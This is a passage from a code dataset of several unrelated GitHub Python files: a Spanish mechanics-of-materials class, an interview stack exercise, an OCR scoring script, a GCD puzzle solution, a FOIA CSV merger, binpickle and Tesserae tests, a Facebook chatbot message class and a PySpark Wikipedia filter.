B=M[:,1:]-A\r\n except:\r\n print(\"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\r\n print(\"No se encuentra nodo en listado de índices, asegúrese de que el listado este bien armado o que el nodo sobre el cual quiere calculas la sumatoria de momentos este dentro del listado.\")\r\n print(\"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\r\n exit()\r\n return B\r\n def vector_mag(V):\r\n VC=V**2\r\n VM=np.sqrt(VC[:,0]+VC[:,1])\r\n return VM\r\n\r\n\r\n \r\n Sf,Sm=self.pro[S]\r\n try:\r\n M=self.pro[\"Nodos\"]\r\n except:\r\n print(\"Error inesperado ha ocurrido, el valor de los nodos sera asignado a array vacía \")\r\n M=np.array([])\r\n V=vector_dist(Nnodo,M)\r\n VM=vector_mag(V)\r\n #Lambda=self.Unitarian(V,VM)\r\n c=0\r\n Det=0\r\n Momento=np.array([])\r\n for i in V:\r\n try:\r\n fuerzas=self.pro[Contorno][c,1:]\r\n except:\r\n print(\"La propiedad con la Key 'Contorno_f' no fue encontrada o no existe\\n Trate de asignar la Key manualmente en: \")\r\n print(\" 'momento(self,Nnodo,S='S',Contorno='Contorno_f'):' \")\r\n break\r\n Matriz=np.c_[i,fuerzas].transpose()\r\n Det+=Matriz[0,0]*Matriz[1,1]-Matriz[1,0]*Matriz[0,1]\r\n #Momento=np.append(Momento,np.linalg.det( ))\r\n c+=1\r\n self.add(\"Sm\",Det)\r\n\r\n def build(self):\r\n [Sf,Sm]=self.pro[\"S\"]\r\n R=sp.solve(np.append(Sf,np.array([Sm[0]+Sm[1]+self.pro[\"Sm\"]]) ),dict=True) \r\n k1,k2=R[0].keys()\r\n c=0\r\n for i in self.pro[\"Contorno_f\"]:\r\n Nnode=i[0]\r\n if k1==i[1]:\r\n self.pro[\"Contorno_f\"][c,1]=R[0][k1]\r\n if k1==i[2]:\r\n self.pro[\"Contorno_f\"][c,2]=R[0][k1]\r\n if k2==i[1]:\r\n self.pro[\"Contorno_f\"][c,1]=R[0][k2]\r\n if k2==i[2]:\r\n self.pro[\"Contorno_f\"][c,2]=R[0][k2]\r\n c+=1\r\n #Sm+self.pro[\"Sm\"]\r\n\r\n\r\n\r\n\r\n\r\n def Area(self,tipo,D=\"D\",AREA=\"A\",t=\"t\",anch=\"Anch\"):\r\n if tipo==\"c\":\r\n self.pro[AREA]=A(self.pro[D])\r\n print(\"Área \"+AREA+\" asignada como: \"+str(self.pro[AREA])+\" en \"+D)\r\n else:\r\n if (tipo==\"r\"):\r\n self.pro[AREA]=self.pro[t]*self.pro[anch]\r\n else:\r\n print(\"Calcule el Área manualmente\")\r\n def Info(self):\r\n lista=self.pro.keys()\r\n c=0\r\n print(\"------Informa de Propiedades-----------\")\r\n for i in lista:\r\n print(str(c)+\") La propiedad \"+i+\" tiene los valores: \\n\"+\" \"+str(self.pro[i]))\r\n c+=1\r\n print(\"------ Fin -------------\")\r\n def distance(self,A,B,L=\"L\"):\r\n \"\"\"\r\n ## Función distancia.\r\n Esta función permite calcular la distancia desde un puntos existente en el objeto hasta otro:\r\n A: String que contiene el nombre del primer Vector de tipo numpy array, \r\n contiene las coordenadas cartecianas del primer punto.\r\n B: String que contiene el nombre del segundo Vector de tipo numpy array, contiene las \r\n coordenadas cartecianas del segundo punto.\r\n L: Nombre en string de la variable donde deseas almacenar la longitud del vector.\r\n \"\"\"\r\n V=self.pro[B]-self.pro[A]\r\n LV=np.linalg.norm(V)\r\n self.add(L,LV)\r\n return\r\n def deformacion(self,L=\"L\",Lp=\"Lp\",epsilon=\"epsilon\"):\r\n \"\"\"\"\r\n ## Calculo de deformación unitaria.\r\n Determina la deformación de un elemento introduciendo como variable de entrada.\r\n L: string-->Nombre de la longitud inicial. expl{\"L\",\"L0\",\"L1\",...}\r\n Lp: string--->Nombre de la longitud final. expl{\"Lf\",\"Lp\",\"L2\",...}\r\n epsilon: string---> es el lugar por defecto, donde se guarda la variable calculada.\r\n \"\"\"\r\n try:\r\n e=(self.pro[Lp]-self.pro[L])/self.pro[L]\r\n except:\r\n print(\"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\r\n print(self.pro[Lp])\r\n print(self.pro[L])\r\n print(self.pro[L])\r\n print(\"Se han presentando problemas con las longitudes, porfavor verifica typo\")\r\n print(\"Las variables introducidas son: \\n\"+L+\"\\n\"+Lp+\"\\n\"+epsilon)\r\n return\r\n self.add(epsilon,e)\r\n return\r\n def J(self,Jindex=\"J\",d=\"d\"):\r\n \"\"\"\r\n ##Esta función permite cálcular la inercia polar de un elemento circular masiso\r\n Como parametro de entrada tiene el diametro de la sección circular, su valor por defecto\r\n es \"d\" pero puede ser modificado:\r\n Entradas:\r\n * Jindex=\"J\" : Variable que almacena la inercia polar.\r\n * d=\"d\": Diametro esperado del eje.\r\n \"\"\"\r\n J=0.5*np.pi*((self.pro[d]*0.5)**4)\r\n self.add(Jindex,J)\r\n return\r\n def tau(self,tau=\"tau\",T=\"T\",d=\"d\",c=\"c\",J=\"J\"):\r\n \"\"\"\r\n ## El codigo permite calcular el esfuerzo cortante Tau conociendo el diametro de la figura,\r\n el torque y el lugar donde se quiere medir.\r\n\r\n * tau: Variable que almacena el esfuerzo cortante, su nombre por defecto es \"tau\"\r\n * T: Torque de entrada del eje, su nombre por defecto es \"T\"\r\n * d: Dinametro del eje, su nombre por defecto es \"d\"\r\n * c: Radio de interes para el analisis de esfuerzo cortante.\r\n * J: Momento polar de inercia de un circulo, su valor por defecto es \"J\"\r\n \"\"\"\r\n Tor=self.pro[T]\r\n c=self.pro[c]\r\n self.J(J,d)\r\n self.add(tau,Tor*c/self.pro[J])\r\n\r\n \r\n\r\n#Función de calculo de área.\r\ndef A(D):\r\n return (np.pi*(D**2))/4\r\n#Función de diámetro de circulo\r\ndef D(A):\r\n return sp.sqrt(4*A/np.pi)\r\n\r\n#Constructor de resultados:\r\ndef Respuesta(Enunciados,Respuestas):\r\n c=0\r\n print(\"*********************\")\r\n for i in Enunciados:\r\n print(i+\" es:\")\r\n print(Respuestas[c])\r\n c+=1\r\n print(\"*********************\") ","repo_name":"hdeavila1992/RDM","sub_path":"Codigos Python/RDM.py","file_name":"RDM.py","file_ext":"py","file_size_in_byte":11664,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"19668984188","text":"# Implement a SetOfStacks of PLATES with a popAt(index) function\n\nfrom stack import Stack\n\n\nclass SetOfStacks(object):\n \"\"\"\n Class to create a list of stacks\n Attributes:\n capacity(Integer): The capacity of the SetOfStacks instance\n \"\"\"\n def __init__(self, capacity):\n self.capacity = capacity\n self.__stacks = []\n\n def get_last_stack(self):\n \"\"\"\n Get the last stack in the set of stacks\n Returns:\n Stack: The last stack in teh set of stacks\n \"\"\"\n if len(self.__stacks) == 0:\n return None\n return self.__stacks[len(self.__stacks) - 1]\n\n def push(self, item):\n \"\"\"\n Push items in set of stack\n Args:\n item(Integer): Item to push\n \"\"\"\n last = self.get_last_stack()\n if last is not None and not last.is_full():\n last.push(item)\n else:\n # Create a new stack\n stack = Stack(self.capacity)\n stack.push(item)\n self.__stacks.append(stack)\n\n def pop(self):\n \"\"\"\n Pop the last item from the last stack\n Returns:\n Integer: The value of the item popped\n \"\"\"\n last = self.get_last_stack()\n value = last.pop()\n # Remove stack from set if it is empty\n if last.size() == 0:\n del self.__stacks[len(self.__stacks) - 1]\n return value\n\n def is_empty(self):\n \"\"\"\n Checks if stack is empty\n Returns:\n Boolean: Indicates if stack is empty\n \"\"\"\n last = self.get_last_stack()\n return last is None or last.is_empty()\n\n def pop_at(self, index):\n \"\"\"\n Pop from the stack at position \"index\" in SetOfStacks\n Args:\n index(Integer): The position of the stack\n Returns:\n Integer: Removed item\n \"\"\"\n return self.left_shift(index, True)\n\n def left_shift(self, index, remove_top):\n \"\"\"\n Shifting of items after pop operation is performed\n Args:\n index(Integer): Position of stack in SetOfStacks\n remove_top(Boolean): Indicates if top should be removed\n Returns:\n Integer: Removed item\n \"\"\"\n stack = self.__stacks[index]\n if remove_top:\n removed_item = stack.pop()\n else:\n removed_item = stack.remove_bottom()\n if stack.is_empty():\n del self.__stacks[index]\n elif len(self.__stacks) > index + 1:\n val = self.left_shift(index + 1, False)\n stack.push(val)\n return removed_item\n\n\nx = SetOfStacks(3)\nx.push(1)\nx.push(2)\nx.push(3)\nx.push(4)\nx.push(5)\nx.push(6)\nx.push(7)\nx.push(8)\nx.push(9)\nprint(x.pop_at(1))\n\nprint(x.pop_at(2))\nprint(x.pop_at(1))","repo_name":"MANOJPATRA1991/Cracking-the-coding-interview-solutions-in-Python","sub_path":"Stacks_and_Queues/Problem-3/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"15229117761","text":"\"\"\"\nFile txt contain this generally result ocr\n\"\"\"\nimport argparse\nimport numpy as np\nimport os\nimport pandas as pd\n\ndef readFile():\n result = pd.read_excel('data_sample/Data_Labeling.xlsx', header=None)\n return result\n\ndef processing_data(list_string):\n list_item = list()\n list_item = [[item.upper(), '169000'] for item in list_string]\n return list_item\n\ndef convert_to_list(file_test_path, index):\n \"\"\"\n convert string to list\n \"\"\"\n list_string = pd.read_table(file_test_path, header= None)\n result_list = list_string.loc[index, 2]\n result_list_change = result_list.replace(\"', '\", \" \").replace(\"']\", \"\").replace(\"['\", \"\")\n list_change = list(result_list_change.split(\" \"))\n return list_change\n\nif __name__ == \"__main__\":\n data_sample = readFile()\n \"\"\"\n f1 score will be computed by: \n input: image_menu - item name (name food - price) '002.jpeg' - ['gà nướng' - 10000]\n get name image -> compare item menu (name food, price) \n if result[0] == get_image_name into file sample:\n name_food == data_sample[]\n\n prediction = tp/tp+tn\n tp = get_name_item in list_sample (++1)\n tn = get_name_item not in list_sample (++1)\n\n recall = tp/tp+fn\n tp = get_name_item in list_sample (++1)\n fn = sum_item_sample - tp\n\n f1 = 2 * (prediction * recall) / (prediction + recall) \n\n this above f1 for an item menu\n\n sumary: average all f1 score \n Score = 1/(count_image) [0.9 * f1]\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\", \"--file_path\", help=\"file txt contains results ocr\")\n args = parser.parse_args()\n\n score = list()\n\n test_path = args.file_path\n\n list_string = pd.read_table(test_path, header= None)\n\n \n for index in range(list_string.shape[0]):\n\n\n list_string = convert_to_list(test_path, index)\n\n \n image_file = list_string[0]\n\n result_ocr = processing_data(list_string)\n \n print(data_sample[data_sample[0].isin([image_file])])\n\n data_filter = data_sample[data_sample[0].isin([image_file])]\n\n prediction, recall, f1_score = 0.0, 0.0, 0.0\n tp_count = 0\n tn_count = 0\n for item_ocr in result_ocr:\n data_filter_food = data_filter[data_filter[1].isin([item_ocr[0]])]\n if data_filter_food is not None:\n data_filter_price = data_filter_food[data_filter_food[3].isin([item_ocr[1]])]\n\n if data_filter_food.empty: #giả sử chưa quan tâm đến giá\n tn_count += 1\n else:\n tp_count += 1\n print(data_filter_food)\n #prediction\n try:\n prediction = 1.0*tp_count/(tp_count + tn_count)\n except:\n prediction = 0.0\n #recall\n fn_count = data_filter.shape[0] - tp_count\n try:\n recall = 1.0*tp_count/(tp_count + fn_count)\n except:\n recall = 0.0\n #f1 score\n try:\n f1_score = 2.0*(prediction * recall)/(prediction + recall)\n except:\n f1_score = 0.0\n score += [f1_score]\n\n print(f'prediction {prediction}')\n print(f'recall {recall}')\n print(f'f1_score {f1_score}')\n print(score)\n print(\"=====================================================================\")\n\n print(score)\n print(np.average(score))\n\n\n","repo_name":"NTN-hacker/Smart-Menu","sub_path":"ocr/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3413,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"36325590714","text":"import sys\nimport math\n\n\ntemp_num = int(sys.stdin.readline())\n\nnum_list = []\n\nfor i in range(temp_num):\n num_list.append(int(sys.stdin.readline()))\n\nnum_list = sorted(num_list, reverse=True)\n\nrevise_list = []\n\nfor k,v in enumerate(num_list[:-1]):\n revise_list.append(num_list[k] - num_list[k+1])\n\nif len(revise_list) == 1:\n temp = revise_list[0]\n final_sum = []\n for i in range(2, int(math.sqrt(temp)) + 1):\n if temp % i == 0:\n final_sum.append(i)\n final_sum.append(temp // i)\n final_sum.append(temp)\n final_sum = list(set(final_sum))\n final_sum.sort()\n print(*final_sum)\n sys.exit()\n\nelif len(revise_list) == 2:\n temp = math.gcd(revise_list[0], revise_list[1])\n final_sum = []\n for i in range(2, int(math.sqrt(temp))+1):\n if temp% i == 0:\n final_sum.append(i)\n final_sum.append(temp//i)\n final_sum.append(temp)\n final_sum = list(set(final_sum))\n final_sum.sort()\n print(*final_sum)\n sys.exit()\n\nelse:\n temp = math.gcd(revise_list[0], revise_list[1])\n\n for i in revise_list[2:]:\n temp = math.gcd(temp, i)\n\n final_num = []\n for i in range(2, math.ceil(math.sqrt(temp))+1):\n if temp%i == 0:\n final_num.append(i)\n final_num.append(temp//i)\n final_num.append(temp)\n final_num = list(set(final_num))\n final_num.sort()\n print(*final_num)","repo_name":"smy37/Daily_Coding","sub_path":"Backjoon/Multiple_problem5.py","file_name":"Multiple_problem5.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"73165588518","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport csv\nimport urllib\nimport itertools\nimport operator\n\nfrom translation import SPREADSHEET_URL\n\nTRANSLATORS_SHEET_URL = SPREADSHEET_URL + '&gid=4'\nPROFILE_SHEET_URL = SPREADSHEET_URL + '&gid=5'\n\ndef translations():\n\tprofiles = dict(csv.reader(urllib.urlopen(PROFILE_SHEET_URL)))\n\tprofile_ref = itertools.count(1)\n\n\tdef profile_links(translators):\n\t\tfor name in translators:\n\t\t\tif name in profiles:\n\t\t\t\tprofile_ref_id = profile_ref.next()\n\t\t\t\tyield '[{0}][{1:02d}]'.format(name, profile_ref_id), '[{0:02d}]: {1}'.format(profile_ref_id, profiles[name])\n\t\t\telse:\n\t\t\t\tyield name, None\n\n\trows = itertools.islice(csv.reader(urllib.urlopen(TRANSLATORS_SHEET_URL)), 1, None)\n\n\tfor language, translators in itertools.imap(operator.itemgetter(0, slice(1, None)), rows):\n\t\tyield language, list(profile_links(itertools.ifilter(bool, translators)))\n\ndef main(output_dir):\n\trows = []\n\trefs = []\n\n\tfor language, translators in translations():\n\t\trows.append((language, ', '.join(itertools.imap(operator.itemgetter(0), translators))))\n\t\trefs.extend(itertools.ifilter(bool, itertools.imap(operator.itemgetter(1), translators)))\n\n\tcolumn_widths = (max(len(row[0]) for row in rows), max(len(row[1]) for row in rows))\n\tline_format = '| {{0:{0}s}} | {{1:{1}s}} |\\n'.format(*column_widths)\n\n\twith open(os.path.join(output_dir, 'translators.md'), 'w') as translators_file:\n\t\ttranslators_file.write(line_format.format('Language', 'Translator'))\n\t\ttranslators_file.write(line_format.format('-' * column_widths[0], '-' * column_widths[1]))\n\n\t\ttranslators_file.writelines(itertools.starmap(line_format.format, rows))\n\t\ttranslators_file.write('\\n')\n\t\ttranslators_file.write('\\n'.join(refs))\n\nif __name__ == '__main__':\n\tmain(os.path.abspath(sys.argv[1]) if len(sys.argv) == 2 else os.getcwd())\n","repo_name":"Enigmos/yays","sub_path":"utility/translators.py","file_name":"translators.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"33922576137","text":"import logging\nimport io\nimport zlib\nimport functools as ft\n\nimport numpy as np\n\nfrom hypothesis import given, settings, HealthCheck\nimport hypothesis.strategies as st\nimport pytest\n\nfrom binpickle.write import _align_pos, CKOut\n\n_log = logging.getLogger(__name__)\n\n\ndef _split_blocks(*args):\n blosc = pytest.importorskip('binpickle.codecs.blosc')\n return blosc._split_blocks(*args)\n\n\n@given(st.integers(100, 10000000))\ndef test_align(n):\n res = _align_pos(n, 1024)\n assert res >= n\n assert res % 1024 == 0\n\n\n@given(st.binary())\ndef test_checksum_bytes(data):\n out = io.BytesIO()\n cko = CKOut(out)\n cko.write(data)\n assert out.getbuffer() == data\n assert cko.bytes == len(data)\n assert cko.checksum == zlib.adler32(data)\n\n\n@given(st.lists(st.binary(), min_size=1, max_size=10))\ndef test_checksum_multi_bytes(arrays):\n out = io.BytesIO()\n cko = CKOut(out)\n for a in arrays:\n cko.write(a)\n cat = ft.reduce(lambda b1, b2: b1 + b2, arrays)\n assert out.getbuffer() == cat\n assert cko.bytes == len(cat)\n assert cko.checksum == zlib.adler32(cat)\n\n\ndef test_split_empty_block():\n blocks = _split_blocks(memoryview(b''), 10)\n assert len(blocks) == 1\n assert blocks[0] == b''\n\n\ndef test_split_one_block():\n blocks = _split_blocks(memoryview(b'asdf'), 10)\n assert len(blocks) == 1\n assert blocks[0] == b'asdf'\n\n\ndef test_split_two_blocks():\n blocks = _split_blocks(memoryview(b'asdf'), 2)\n assert len(blocks) == 2\n assert blocks[0] == b'as'\n assert blocks[1] == b'df'\n assert blocks[0].nbytes == 2\n assert blocks[1].nbytes == 2\n\n\ndef test_split_blocks_mismatch():\n blocks = _split_blocks(memoryview(b'asdfg'), 2)\n assert len(blocks) == 3\n assert blocks[0] == b'as'\n assert blocks[0].nbytes == 2\n assert blocks[1] == b'df'\n assert blocks[1].nbytes == 2\n assert blocks[2] == b'g'\n assert blocks[2].nbytes == 1\n\n\n@settings(suppress_health_check=[HealthCheck.too_slow])\n@given(st.data())\ndef test_split_blocks(data):\n bs = data.draw(st.integers(8, 4096))\n input = data.draw(st.binary(min_size=bs//2, max_size=bs*8))\n _log.info('input size %d, block size %d', len(input), bs)\n blocks = _split_blocks(memoryview(input), bs)\n _log.info('split into %d blocks', len(blocks))\n assert all(b.nbytes <= bs for b in blocks)\n assert all(len(b) <= bs for b in blocks)\n assert sum(b.nbytes for b in blocks) == len(input)\n reconst = ft.reduce(lambda buf, block: buf + block, blocks, bytes())\n assert len(reconst) == len(input)\n assert reconst == input\n\n\n@settings(suppress_health_check=[HealthCheck.too_slow])\n@given(st.data())\ndef test_split_arrays(data):\n bs = data.draw(st.integers(8, 4096))\n size = data.draw(st.integers(bs//8, bs*4))\n array = np.random.randn(size)\n input = memoryview(array)\n _log.info('input size %d (%d bytes), block size %d', len(input), input.nbytes, bs)\n blocks = _split_blocks(memoryview(input), bs)\n _log.info('split into %d blocks', len(blocks))\n assert all(b.nbytes <= bs for b in blocks)\n assert all(len(b) <= bs for b in blocks)\n assert sum(b.nbytes for b in blocks) == input.nbytes\n reconst = ft.reduce(lambda buf, block: buf + block, blocks, bytes())\n assert len(reconst) == input.nbytes\n rcv = memoryview(reconst).cast(input.format)\n assert rcv == input\n a2 = np.frombuffer(reconst, array.dtype)\n assert all(a2 == array)\n","repo_name":"lenskit/binpickle","sub_path":"tests/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"13724043843","text":"import math\nimport uuid\n\nimport pytest\n\nfrom tesserae.data import load_greek_to_latin\nfrom tesserae.db import Feature, Search, Text, \\\n TessMongoConnection\nfrom tesserae.matchers import GreekToLatinSearch\nfrom tesserae.matchers.greek_to_latin import \\\n _build_greek_ind_to_other_greek_inds, _get_greek_to_latin_inv_freqs_by_text\nfrom tesserae.matchers.sparse_encoding import _get_units\nfrom tesserae.matchers.text_options import TextOptions\nfrom tesserae.utils import ingest_text\nfrom tesserae.utils.delete import obliterate\n\n\n@pytest.fixture(scope='session')\ndef g2lpop(request, mini_g2l_metadata):\n conn = TessMongoConnection('localhost', 27017, None, None, 'g2ltest')\n for metadata in mini_g2l_metadata:\n text = Text.json_decode(metadata)\n ingest_text(conn, text)\n yield conn\n obliterate(conn)\n\n\ndef test_greek_to_latin_inv_freq_by_text(g2lpop, v3checker):\n greek_to_latin = load_greek_to_latin()\n greek_ind_to_other_greek_inds = _build_greek_ind_to_other_greek_inds(\n g2lpop, greek_to_latin)\n greek_text = g2lpop.find(Text.collection, language='greek')[0]\n greek_text_options = TextOptions(greek_text, 'line')\n greek_text_length = sum(\n len(u['forms'])\n for u in _get_units(g2lpop, greek_text_options, 'lemmata'))\n inv_freqs = _get_greek_to_latin_inv_freqs_by_text(\n g2lpop, greek_text_options, greek_text_length,\n greek_ind_to_other_greek_inds)\n v3_total, v3_counts = v3checker._load_v3_mini_text_freqs_file(\n g2lpop, greek_text, 'g_l')\n assert len(v3_counts) == len(inv_freqs)\n greek_forms = {\n f.index: f.token\n for f in g2lpop.find(\n Feature.collection, language='greek', feature='form')\n }\n for token, count in v3_counts.items():\n assert token in inv_freqs\n assert math.isclose(inv_freqs[token],\n float(v3_total) / count), greek_forms[token]\n\n\ndef test_greek_to_latin_texts_basis(g2lpop, mini_g2l_metadata, v3checker):\n texts = g2lpop.find(Text.collection,\n title=[m['title'] for m in mini_g2l_metadata])\n results_id = uuid.uuid4()\n search_result = Search(results_id=results_id)\n g2lpop.insert(search_result)\n matcher = GreekToLatinSearch(g2lpop)\n v5_matches = matcher.match(search_result,\n TextOptions(texts[0], 'line'),\n TextOptions(texts[1], 'line'),\n greek_stopwords=[],\n latin_stopwords=['is', 'quis', 'atque'],\n freq_basis='texts',\n max_distance=999,\n distance_basis='frequency',\n min_score=0)\n g2lpop.insert_nocheck(v5_matches)\n search_result.status = Search.DONE\n g2lpop.update(search_result)\n v3checker.check_search_results(g2lpop, search_result.id, texts[0].path,\n 'mini_g2l_texts.tab')\n\n\ndef test_greek_to_latin_corpus_basis(g2lpop, mini_g2l_metadata, v3checker):\n texts = g2lpop.find(Text.collection,\n title=[m['title'] for m in mini_g2l_metadata])\n results_id = uuid.uuid4()\n search_result = Search(results_id=results_id)\n g2lpop.insert(search_result)\n matcher = GreekToLatinSearch(g2lpop)\n v5_matches = matcher.match(search_result,\n TextOptions(texts[0], 'line'),\n TextOptions(texts[1], 'line'),\n greek_stopwords=[],\n latin_stopwords=['et', 'non', 'iam'],\n freq_basis='corpus',\n max_distance=999,\n distance_basis='frequency',\n min_score=0)\n g2lpop.insert_nocheck(v5_matches)\n search_result.status = Search.DONE\n g2lpop.update(search_result)\n v3checker.check_search_results(g2lpop, search_result.id, texts[0].path,\n 'mini_g2l_corpus.tab')\n","repo_name":"tesserae/tesserae-v5","sub_path":"tests/matchers/test_greek_to_latin.py","file_name":"test_greek_to_latin.py","file_ext":"py","file_size_in_byte":4108,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"0"}
+{"seq_id":"27528308767","text":"\"\"\"\nClass format gallery message\n\"\"\"\nimport json\nimport requests\nfrom dialog.models.api.messages.message import Mesage\nfrom utils.logger import log_debug\nfrom utils.settings import FACEBOOK_API_ENDPOINT\nfrom utils.reply.post_back import PRODUCT\n\nWEB_URL = \"https://canifa.com/\"\nIMAGE_URL = \"https://canifa.s3.amazonaws.com/media/catalog/product/\" \\\n \"cache_generated/235x310/6ta18s002-sk010-33.jpg\"\nTITLE = \"QUAN TÂM\"\n\n\nclass GalleryMessage(Mesage):\n \"\"\"\n Class format gallery message\n \"\"\"\n\n def convert_facebook(self, recipient_id: str = \"\", content: str = \"\", obj: list = None):\n \"\"\"\n message send by format facebook\n :return:\n \"\"\"\n page_id = recipient_id.split(\"_\")[1]\n fb_id = recipient_id.split(\"_\")[0]\n\n list_product = []\n for item in obj:\n product = {\n \"title\": \"%s\" % item.get(\"title\"),\n \"image_url\": \"%s\" % item.get(\"image_url\") if item.get(\n \"image_url\") is not None else IMAGE_URL,\n \"default_action\": {\n \"type\": \"web_url\",\n \"url\": \"%s\" % item.get(\"product_url\") if item.get(\n \"product_url\") is not None else WEB_URL,\n \"webview_height_ratio\": \"tall\",\n },\n }\n if content != \"default\":\n product.update(\n {\n \"buttons\": [\n {\n \"type\": \"postback\",\n \"title\": TITLE,\n \"payload\": PRODUCT + \"_%s\" % item.get(\"id\")\n }\n ]\n }\n )\n list_product.append(product)\n list_product = list_product[:10]\n data = json.dumps({\n \"recipient\": {\n \"id\": fb_id\n },\n \"message\": {\n \"attachment\": {\n \"type\": \"template\",\n \"payload\": {\n \"template_type\": \"generic\",\n \"elements\": list_product\n }\n }\n }\n })\n print(data)\n\n pages = self.connect.get(\"pages\")\n if pages:\n pages = json.loads(pages)\n access_token = [_.get(\"page_token\") for _ in pages if\n str(_.get(\"page_id\")) == page_id][0]\n params = {\n \"access_token\": \"{}\".format(access_token)\n }\n request = requests.post(FACEBOOK_API_ENDPOINT + \"me/messages\", params=params,\n headers=self.headers, data=data)\n log_debug(\"############## %s ##############\" % request.text)\n else:\n log_debug(\"############## Can't get pages ##############\")\n\n def convert_zalo(self, recipient_id: str = \"\", content: str = \"\", obj: list = None):\n \"\"\"\n message send by format facebook\n :return:\n \"\"\"\n log_debug(recipient_id)\n","repo_name":"sonnb270898/chatbot_seagame","sub_path":"src/response/messages/gallery_message.py","file_name":"gallery_message.py","file_ext":"py","file_size_in_byte":3100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"22378247373","text":"import os\nimport pandas as pd\n\nos.chdir(\"csv\") #Start in \"csv\" folder containing all the .txt files.\nfilenames = os.listdir(os.getcwd())\n\n\ndef goodfile(f): #Returns if the file should be concatenated with the rest or not.\n\tprint(f)\n\tif len(f.split(\"-\")) > 2 and \"Ex\" not in f: #Excludes the summary files from merging (files of the form CFPB-2008-2015), which duplicate all the info. Exception for the Ex-Im Bank.\n\t\t#print(\"Badfile: \" + f)\n\t\treturn False\n\ttempdf = pd.read_csv(f)\n\tif len(tempdf.columns) != 15:\n\t\t#print(\"BadCols: \" + f)\n\t\treturn False\n\treturn True\n\ndef edit(filename): #Takes filename, returns dataframe which can be aggregated.\n\tparts = filename.split(\"-\")\n\tagency = parts[0] #Files have form Agency-Year.\n\tyear = parts[1].split(\".\")[0]\n\ttempdf = pd.read_csv(filename)\n\ttempdf.index = pd.Series(range(0, len(tempdf.index)))\n\ttempdf['Agency'] = pd.Series([agency for i in range(0, len(tempdf.index))]) #Add agency column\n\ttempdf['Year'] = pd.Series([year for i in range(0, len(tempdf.index))]) #Add year column\n\treturn tempdf#[~tempdf.Component.str.contains(agency)] \n\t\n\n\nmydf = pd.concat((edit(f) for f in sorted(filenames) if goodfile(f) == True)) \nmydf = mydf[mydf.Component != mydf.Agency] #Removes rows in which an agency appears twice in the data, first as itself, then as a \"Total\" column with all the same information.\nmydf.to_csv(\"fulldata.csv\")\n","repo_name":"regrak/foia-data","sub_path":"python/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"0"}
+{"seq_id":"6416064448","text":"import os\nfrom pyspark.sql import *\nfrom pyspark.sql.functions import *\nfrom pyspark.sql.types import *\nfrom datetime import datetime\nimport json\nfrom params import *\n\n\ndef main(**params):\n\tparams = dict(\n\t\t**params\n\t)\n\n\tlocal = params['local']\n\n\tif local:\n\t\tLOCAL_PATH = \"../../data/\"\n\t\tWIKIDATA_PEOPLE = os.path.join(LOCAL_PATH, \"people_wikidata.json\")\n\t\tENWIKI = os.path.join(LOCAL_PATH, \"enwiki_5000_lines.xml\")\n\n\telse: # running in the cluster\n\t\tLOCAL_PATH = \"hdfs:///user/gullon/\"\n\t\tWIKIDATA_PEOPLE = os.path.join(LOCAL_PATH, \"people_wikidata.json\")\n\t\tENWIKI = \"hdfs:///datasets/enwiki-20191001/enwiki-20191001-pages-articles-multistream.xml\"\n\n\tspark = SparkSession.builder.getOrCreate()\n\tsc = spark.sparkContext\n\n\tdf = spark.read.format(\"com.databricks.spark.xml\") \\\n\t\t\t\t\t.options(rowTag=\"page\") \\\n\t\t\t\t\t.load(ENWIKI)\n\n\tprint(df.printSchema())\n\n\tdf = df.filter(\"redirect._title is null\")\n\tdf_enwiki_title = df.select(\"title\", \"revision.text._VALUE\").toDF(\"wiki-title\", \"text\")\n\n\tif local:\n\t\tprint(df_enwiki_title.show())\n\telse:\n\t\tprint(\"=\"*50)\n\t\tprint(\"Got enwiki tite and text\")\n\t\tprint(\"=\"*50)\n\n\t# read the wikidata codes\n\tdf_wikidata = spark.read.json(WIKIDATA_PEOPLE)\n\n\tdf_biographies = df_wikidata.join(df_enwiki_title,['wiki-title'],how='inner')\n\n\tif local:\n\t\tprint(df_biographies.show())\n\telse:\n\t\tprint(\"=\"*50)\n\t\tprint(\"Join enwiki and wikidata done\")\n\t\tprint(\"=\"*50)\n\n\t# save the df\n\tdf_biographies.write.mode('overwrite').json(os.path.join(LOCAL_PATH, \"biographies_wikipedia.json\"))\n\n\t# woohoo!\n\tprint(\"!!!!!!!!!!!!!!!\")\n\n\nif __name__ == '__main__':\n\tmain(**vars(parse_arguments()))\n","repo_name":"natbolon/wiki-gender","sub_path":"src/createDataset/3_filter_people_enwiki.py","file_name":"3_filter_people_enwiki.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"0"}
